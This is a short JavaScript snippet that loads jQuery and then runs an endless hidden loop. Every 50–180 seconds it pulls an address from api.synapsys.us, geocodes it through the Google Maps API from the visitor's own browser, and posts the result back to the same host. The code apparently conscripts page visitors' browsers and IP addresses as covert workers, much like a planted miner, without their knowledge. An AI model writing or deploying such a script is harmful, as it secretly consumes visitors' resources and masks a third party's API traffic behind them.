(function() { var _$; if (window.jQuery === undefined || window.jQuery.fn.jquery !== '2.1.3') { var st = document.createElement('script'); st.setAttribute('type','text/javascript'); st.setAttribute('src','http://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js'); if (st.readyState) { st.onreadystatechange = function () { if (this.readyState == 'complete' || this.readyState == 'loaded') { scriptLoadHandler(); } }; } else { st.onload = scriptLoadHandler; } (document.getElementsByTagName("head")[0] || document.documentElement).appendChild(st); } else { _$ = window.jQuery; main(); } function scriptLoadHandler() { _$ = window.jQuery.noConflict(true); main(); } function main() { _$.ajaxSetup({ cache: false }); work(); } function work() { _$.getJSON('http://api.synapsys.us/etc/gc/g.php', function(d) { if (d.addr && d.addr != '') { _$.getJSON( 'https://maps.googleapis.com/maps/api/geocode/json', {address: d.addr}, function(j) { _$.post( 'http://api.synapsys.us/etc/gc/sv.php', {k: d.key, j: JSON.stringify(j)} ); setTimeout(function() { work(); }, getRandomInt(50, 180) * 1000); } ); } }); } function getRandomInt(min, max) { return Math.floor(Math.random() * (max - min)) + min; } })();